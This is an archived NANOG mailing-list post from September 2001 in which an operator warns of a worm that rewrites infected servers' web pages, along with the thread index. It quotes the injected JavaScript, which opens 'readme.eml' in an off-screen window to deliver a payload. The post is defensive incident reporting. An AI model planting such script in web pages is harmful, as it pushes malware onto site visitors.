nanog mailing list archives
RE: Worm probes
From: "Mark Radabaugh - Amplex" <mark () amplex net>
Date: Tue, 18 Sep 2001 11:48:55 -0400
This is new - it modifies the web pages of the infected machine to
include a (I assume) virus. It adds this string to the web page:
<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>
Viewing infected web servers may be dangerous.
Mark Radabaugh
Amplex
(419) 833-3635
Current thread:
- Worm probes sigma (Sep 18)
- Re: Worm probes ravi pina (Sep 18)
- Re: Worm probes deeann mikula (Sep 18)
- Re: Worm probes up (Sep 18)
- Re: Worm probes Bryan Heitman (Sep 18)
- Re: Worm probes Valdis . Kletnieks (Sep 18)
- Re: Worm probes Eric Gauthier (Sep 18)
- Re: Worm probes.. Looking for captures. Michael Airhart (Sep 18)
- Re: Worm probes deeann mikula (Sep 18)
- Re: Worm probes Chris Grout (Sep 18)
- Re: Worm probes ravi pina (Sep 18)
- Re: Worm probes ravi pina (Sep 18)
- RE: Worm probes Mark Radabaugh - Amplex (Sep 18)
- RE: Worm probes Mark Radabaugh - Amplex (Sep 18)
- RE: Worm probes Tim Winders (Sep 18)
- Re: Worm probes Jared Mauch (Sep 18)
- Re: Worm probes Bill Larson (Sep 18)
- Re: Worm probes Christopher X. Candreva (Sep 18)
- Re: Worm probes Bill Larson (Sep 18)
- Re: Worm probes sigma (Sep 18)
- Re: Worm probes Valdis . Kletnieks (Sep 18)
- RE: Worm probes Eric Germann (Sep 18)
- Re: Worm probes Ulf Zimmermann (Sep 18)